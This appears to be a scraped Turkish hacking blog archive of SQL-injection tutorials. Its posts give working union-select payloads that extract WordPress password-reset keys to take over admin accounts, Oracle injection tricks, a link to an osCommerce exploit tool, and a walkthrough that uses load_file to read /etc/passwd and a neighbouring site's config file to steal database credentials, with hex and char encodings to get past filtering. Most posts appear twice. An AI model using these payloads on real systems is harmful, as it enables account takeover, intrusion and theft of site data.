Post mssql yaparak update yaparak panele girmeyi anlattım.
http://www.4shared.com/rar/Ye0HjQUq/postmssqlinjection.html
4.03.2012
27.02.2012
Wordpress şifre sıfırlama.
Merhaba bügün size wordpress'de şifre sıfırlamayı anlatacam.
Normalde Wordpress sql injection'da user_login,user_pass kolonlarından bilgileri çekeriz . Ama wordpress şifre algoritması olarak portable php password hashing framework kullandığı için bunu kırmak biraz zordur.
Bu şekilde md5 kırma yerine admin mailine aktivasyon kodu göndererek şifre sıfırlamayı nasıl yaparız.
örneğin ;
http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from/**/wp_users/*
Şimdi bizim aktivasyon kodunu alabilmemiz için ilk önce şifreyi unuttum deyip admin mailine aktivasyon
kodunu yollatmamız lazım.
http://hedef.com/wp-login.php?action=lostpassword
burdan admin adını yada mailini yazıp aktivasyon kodunu yollamasını istiyoruz.
Ardından user_pass isimli kolon yerine user_activation_key kolonun yazıp aktivasyon kodunu alıyoruz
http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_activation_key,0x7c)/**/from/**/wp_users/*
user_login : security
user_activation_key : CDFSAlCsTUvBDUMGHTcd
bu şekilde admin ve şifreyi değiştirmek için işimize yarayacak olan aktivasyon kodunu alıyoruz .
wp-login.php?action=rp&key=[Aktivasyon kodunu buraya ]&login=[Kullanici adinida buraya ]
wp-login.php?action=rp&key=CDFSAlCsTUvBDUMGHTcd&login=security
bu şekilde yaptığımızda yeni şifrenizi yazıp admin olarak giriş yapacaksınız.
Not: Eğer ki aktivasyon kodu yollamadan aktivasyon kodu çekmeye çalışırsanız daha önceden aktivasyon
kodu yollanmadığı için " Can not get Length of 'Column Data' " yazar bunun içinde öncelikle
şifremi unuttum diyip aktivasyon kodunu yollayın.
Normalde Wordpress sql injection'da user_login,user_pass kolonlarından bilgileri çekeriz . Ama wordpress şifre algoritması olarak portable php password hashing framework kullandığı için bunu kırmak biraz zordur.
Bu şekilde md5 kırma yerine admin mailine aktivasyon kodu göndererek şifre sıfırlamayı nasıl yaparız.
örneğin ;
http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from/**/wp_users/*
Şimdi bizim aktivasyon kodunu alabilmemiz için ilk önce şifreyi unuttum deyip admin mailine aktivasyon
kodunu yollatmamız lazım.
http://hedef.com/wp-login.php?action=lostpassword
burdan admin adını yada mailini yazıp aktivasyon kodunu yollamasını istiyoruz.
Ardından user_pass isimli kolon yerine user_activation_key kolonun yazıp aktivasyon kodunu alıyoruz
http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_activation_key,0x7c)/**/from/**/wp_users/*
user_login : security
user_activation_key : CDFSAlCsTUvBDUMGHTcd
bu şekilde admin ve şifreyi değiştirmek için işimize yarayacak olan aktivasyon kodunu alıyoruz .
wp-login.php?action=rp&key=[Aktivasyon kodunu buraya ]&login=[Kullanici adinida buraya ]
wp-login.php?action=rp&key=CDFSAlCsTUvBDUMGHTcd&login=security
bu şekilde yaptığımızda yeni şifrenizi yazıp admin olarak giriş yapacaksınız.
Not: Eğer ki aktivasyon kodu yollamadan aktivasyon kodu çekmeye çalışırsanız daha önceden aktivasyon
kodu yollanmadığı için " Can not get Length of 'Column Data' " yazar bunun içinde öncelikle
şifremi unuttum diyip aktivasyon kodunu yollayın.
17.02.2012
Http ve Https Arasindaki Fark
Merhaba arkadaşlar uzun süredir pek ilgilenmiyorum .İş , okul derken pek zaman kalmıyor.
Bügün size aslında internete her girdiğimizde gördüğümüz ama ne işe yaradığını bilmediğimiz http ve https arasındaki farkı açıklamaya çalışacam .
Https (Hyper Text Transfer Protocol Secure) genel olarak banka sistemleri , kredi kartı ile alışveriş yapılan ve diğer güvenliğine önem veren firmalara tarafından yaygın olarak kullanılır . Çünkü https de giriş yaptığınızda bilgileriniz sizin ve giriş yaptığınız adres tarafından okunabilecek şekilde şifrelenir.Http de ise böyle bir şifreleme yoktur.Sizin giriş yaptığınız verilere başka kişiler ulaşabilir .
Ek olarak eklemek isteyeceğim bir şey daha var .Dün gece Ttnet borcunu ödemeyi unuttuğum için internet bağlanmaya çalıştığım zaman ttnet borç ödeme ekranına yönleniyordu . http://siteadi.com/ diye siteye bağlanmaya çalıştığım zaman ttnet borc ödeme ekranı çıkıyordu .http:// yerine https://siteadi.com/ diye girdiğim zaman ttnet borc ödeme ekranı çıkmadan rahatlıkla internete bağlanabiliyorsunuz .
Bir daha ki sefer görüşmek dileğiyle .
Bügün size aslında internete her girdiğimizde gördüğümüz ama ne işe yaradığını bilmediğimiz http ve https arasındaki farkı açıklamaya çalışacam .
Https (Hyper Text Transfer Protocol Secure) genel olarak banka sistemleri , kredi kartı ile alışveriş yapılan ve diğer güvenliğine önem veren firmalara tarafından yaygın olarak kullanılır . Çünkü https de giriş yaptığınızda bilgileriniz sizin ve giriş yaptığınız adres tarafından okunabilecek şekilde şifrelenir.Http de ise böyle bir şifreleme yoktur.Sizin giriş yaptığınız verilere başka kişiler ulaşabilir .
Ek olarak eklemek isteyeceğim bir şey daha var .Dün gece Ttnet borcunu ödemeyi unuttuğum için internet bağlanmaya çalıştığım zaman ttnet borç ödeme ekranına yönleniyordu . http://siteadi.com/ diye siteye bağlanmaya çalıştığım zaman ttnet borc ödeme ekranı çıkıyordu .http:// yerine https://siteadi.com/ diye girdiğim zaman ttnet borc ödeme ekranı çıkmadan rahatlıkla internete bağlanabiliyorsunuz .
Bir daha ki sefer görüşmek dileğiyle .
30.07.2011
Oracle'de püf noktalar
Oracle'de sql kasmak isteyenler için bir kaç püf noktaya değinecem ; oracle da veri tipleri uyuşmadığından null,null diye başlarsıniz.
from all_tables dersiniz information_schema.tables karşılığıdır
from kullanmadan select çekemezsin
all_tab_columns < bu da information_schema.columns karşılığı
table_name column_name kolon adları aynı
union select version from all_Tables veya union select user from all_Tables
diye deneme yapcaksıniz geri döndürüyosa char kolonu tutturmuşsunuz
yoksa blind kasarsıniz sonra tabloları kullanıcına göre çekmek istiyosaniz where owner=user diceksiniz
all_tables tan table_name çekersen yetki olan tüm tablo adlarını verir
ama sonra onları doğrudan from tablo şeklinde çekebilmeniz için çektiğiniz tablonun kendi kullanıcı adında olması lazm
yoksa owner ını da çekip başına misal from KULLANICI.TABLO yazarsıniz bi de oracle da tüm tablo kolon adları büyük harftir
sistem tabloları hariç
Oracle'de hex kullanılmaz chr (ascii tablosu) kullanilir
birleştirme yapmak için
mysql de concat()
mssql de +
oracle da ||
postgre de ||
kullanılır
birleştirme yapmak için
misal
union select AD||'|SOYAD from OGRENCI
misal
322 union select null,null,AD||' '||SOYAD||'|MESLEK||'|SIFRE,null,null,null,null,null,null from DURUM.PERSONEL where AD='YASİR'
mesela yazıyı charlayıp yollayacaksanız
char(42)+char(352)
bu şekilde ama url den get ile gönderdiğinde + lar boşluk algılanır o yüzden
char(42)%2bchar(352)
şeklinde yazacaksıniz %2b + nın karşılığıdır
Bügünlük bu kadar yeter Bir dahaki sefere de oracle'de like kullanımını anlatacam.
Agd_Scorp'da burda teşşekürlerimi iletiyorum.
from all_tables dersiniz information_schema.tables karşılığıdır
from kullanmadan select çekemezsin
all_tab_columns < bu da information_schema.columns karşılığı
table_name column_name kolon adları aynı
union select version from all_Tables veya union select user from all_Tables
diye deneme yapcaksıniz geri döndürüyosa char kolonu tutturmuşsunuz
yoksa blind kasarsıniz sonra tabloları kullanıcına göre çekmek istiyosaniz where owner=user diceksiniz
all_tables tan table_name çekersen yetki olan tüm tablo adlarını verir
ama sonra onları doğrudan from tablo şeklinde çekebilmeniz için çektiğiniz tablonun kendi kullanıcı adında olması lazm
yoksa owner ını da çekip başına misal from KULLANICI.TABLO yazarsıniz bi de oracle da tüm tablo kolon adları büyük harftir
sistem tabloları hariç
Oracle'de hex kullanılmaz chr (ascii tablosu) kullanilir
birleştirme yapmak için
mysql de concat()
mssql de +
oracle da ||
postgre de ||
kullanılır
birleştirme yapmak için
misal
union select AD||'|SOYAD from OGRENCI
misal
322 union select null,null,AD||' '||SOYAD||'|MESLEK||'|SIFRE,null,null,null,null,null,null from DURUM.PERSONEL where AD='YASİR'
mesela yazıyı charlayıp yollayacaksanız
char(42)+char(352)
bu şekilde ama url den get ile gönderdiğinde + lar boşluk algılanır o yüzden
char(42)%2bchar(352)
şeklinde yazacaksıniz %2b + nın karşılığıdır
Bügünlük bu kadar yeter Bir dahaki sefere de oracle'de like kullanımını anlatacam.
Agd_Scorp'da burda teşşekürlerimi iletiyorum.
3.07.2011
Joomla sql yedeklerine ulaşmak.
Bu yöntemle google üzerinden arama yaparak joomla kullanan sitelerin sql yedeklerine nasıl ulaşılır onu gösterecem.

Şekil 1:

Şekil 2:

Şekil 3:

Şekil 1:

Şekil 2:

Şekil 3:
25.11.2010
osCommerce Online Merchant
Merhaba arkadaşlar bügün size osCommerce Online Merchant sistemindeki açık için kodlanmış programın kulanımını anlatmaya çalıştım.Video yu izleyin anlamadığınız yer olursa söylersiniz
http://osc.eclass.tw/images/vezir.rar
http://osc.eclass.tw/images/vezir.rar
18.10.2010
Hacking Anatomi
Herhangi bir sitede SQL tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.
**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner
ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını
öğreniyoruz
ozn.php?=1order+by+6--
*yaptık sayfa hata verdi
ozn.php?id=1+order+by+7–-
*bu şekil yaptık sayfa hata vermeden açıldı
* kolon sayısını ogrendik 7
ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*
3 4
* Kolon sayısınının esit oldugunu soyluyor.
ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All
*Linux da “userler”in yetkılerıne temelli sahibiz,
*Windows icin de aynı sey gecerlidir.
* Eger Makina Windows olsaydı..
boot.ini‘yi okuyabiliriz , engel varsa hexleriz.
select ‘c:/boot.ini’
select 0×633a2f626f6f742e696e69
Domainler ” C:/Inetpub ” burada.
ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*
Blind Edebiliriz !
substring(load_file(’c:/boot.ini’),58)
” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”
Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.
Simdi konumuza geri donelım;
*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.
Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.
Calısma mantıgı ,
(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.
- UYGULAMA -
/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*
Eger engel varsa ;
> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7
// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.
Target “ozn"
/home/ozn/httpdocs:
/home/site/httpdocs:
Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;
/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*
* Burada gene hexleyecegız parantez icindekı karakterleri.
/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*
Syntax Hataları ve Çözümleri
Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …
Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;
ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7
3 4
/home/victim2/httpdocs/main.php < Go to ascıı code converted
ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7
ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7
“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.
/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*
1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.
Example :
SELECT * FROM `users` LIMIT 1, 8
/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*
Engel oldugunu varsayıyorum ,
union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8
* Yukarıda load_file ile yaptıgım atağın sonucu geldı.
// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>
Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..
Hatasız kul olmaz Hata varsa düzeltirsin :)
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.
**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner
ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını
öğreniyoruz
ozn.php?=1order+by+6--
*yaptık sayfa hata verdi
ozn.php?id=1+order+by+7–-
*bu şekil yaptık sayfa hata vermeden açıldı
* kolon sayısını ogrendik 7
ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*
3 4
* Kolon sayısınının esit oldugunu soyluyor.
ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All
*Linux da “userler”in yetkılerıne temelli sahibiz,
*Windows icin de aynı sey gecerlidir.
* Eger Makina Windows olsaydı..
boot.ini‘yi okuyabiliriz , engel varsa hexleriz.
select ‘c:/boot.ini’
select 0×633a2f626f6f742e696e69
Domainler ” C:/Inetpub ” burada.
ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*
Blind Edebiliriz !
substring(load_file(’c:/boot.ini’),58)
” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”
Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.
Simdi konumuza geri donelım;
*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.
Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.
Calısma mantıgı ,
(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.
- UYGULAMA -
/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*
Eger engel varsa ;
> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7
// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.
Target “ozn"
/home/ozn/httpdocs:
/home/site/httpdocs:
Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;
/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*
* Burada gene hexleyecegız parantez icindekı karakterleri.
/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*
Syntax Hataları ve Çözümleri
Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …
Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;
ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7
3 4
/home/victim2/httpdocs/main.php < Go to ascıı code converted
ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7
ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7
“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.
/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*
1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.
Example :
SELECT * FROM `users` LIMIT 1, 8
/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*
Engel oldugunu varsayıyorum ,
union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8
* Yukarıda load_file ile yaptıgım atağın sonucu geldı.
// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>
Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..
Hatasız kul olmaz Hata varsa düzeltirsin :)
Kaydol:
Kayıtlar (Atom)